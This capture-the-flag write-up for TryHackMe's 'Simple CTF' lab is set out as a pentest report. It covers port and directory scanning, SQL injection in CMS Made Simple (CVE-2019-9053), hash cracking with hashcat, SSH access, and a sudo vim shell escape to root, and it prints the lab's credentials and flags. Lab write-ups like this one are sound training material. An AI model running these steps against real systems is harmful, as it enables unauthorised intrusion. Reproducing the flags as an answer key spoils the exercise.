Penetration Testing Report: Simple CTF (TryHackMe)

1. Executive Summary

This report details the security assessment and successful exploitation of the **Simple CTF** target machine. The assessment progressed from initial network reconnaissance to web application exploitation, credential cracking, and ultimate local privilege escalation to obtain full administrative (root) access.

2. Reconnaissance & Enumeration

2.1 Network Scanning (Nmap)

An active network scan was conducted using Nmap to identify open ports and running services.

Bash
```
# Nmap scan results
21/tcp   open  ftp     vsftpd 3.0.3 (Anonymous login allowed)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (protocol 2.0)
```

Key Findings:

- **FTP (Port 21):** Allows anonymous login.
- **HTTP (Port 80):** Hosting an Apache web server.
- **SSH (Port 2222):** Running on a non-standard port.

2.2 Web Directory Enumeration (Gobuster)

A directory brute-force attack was performed against the web server on port 80, revealing a /simple/ directory running a Content Management System (CMS).

Plaintext
```
/simple/index.php   (Status: 200)
/simple/assets/     (Status: 301)
/simple/doc/        (Status: 301)
/simple/lib/        (Status: 301)
/simple/modules/    (Status: 301)
/simple/tmp/        (Status: 301)
/simple/uploads/    (Status: 301)
```

2.3 Web Inspection (robots.txt)

Inspection of the robots.txt file revealed standard entries pointing toward a specific CMS installation baseline:

Plaintext
$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $

3. Vulnerability Analysis & Exploitation

3.1 CMS Vulnerability Identification

The application running under /simple/ was identified as **CMS Made Simple** (v1.22). Research into public exploit databases revealed it is vulnerable to an SQL Injection vulnerability (**CVE-2019-9053**), allowing unauthenticated attackers to dump database credentials.

Using a public exploit script, the following credentials and salt were extracted:

Metric	Extracted Value
Username	mitch
Email	admin@admin.com
Password Hash	0c01f4468bd75d7a84c7eb73846e8d96
Salt	1dac0d92e9f2

3.2 Offline Password Cracking (Hashcat)

The extracted MD5 (CMS Made Simple format) hash and salt were cracked using Hashcat and the rockyou.txt wordlist.

Bash
hashcat -O -a 0 -m 10 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9f2 /usr/share/wordlists/rockyou.txt

- **Cracked Password:** secret

3.3 Initial Access via SSH

Using the cracked credentials, remote access was established via SSH on port 2222.

Bash
ssh mitch@<TARGET_IP> -p 2222

- **User Flag Obtained:** G00d j0b, keep up!

4. Post-Exploitation & Lateral Movement

4.1 Local Enumeration

A review of the /home directory revealed the existence of another local user on the system:

- **Alternative User:** sunbath

5. Privilege Escalation

5.1 Sudo Rights Assessment

Executing sudo -l to check the current user's privileges revealed that mitch can execute vim as root without providing a password.

Plaintext
User mitch may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim

5.2 Exploitation via GTFOBins

Leveraging the vim binary misconfiguration, a shell escape sequences technique from **GTFOBins** was utilized to spawn an administrative shell.

Bash
sudo vim -c ':!/bin/sh'

Upon executing the command, an interactive root shell was spawned. Navigating to the /root directory allowed extraction of the final flag.

- **Root Flag Obtained:** W3ll d0n3. You made it!

6. Summary of Loot

- **User Flag:** G00d j0b, keep up!
- **Root Flag:** W3ll d0n3. You made it!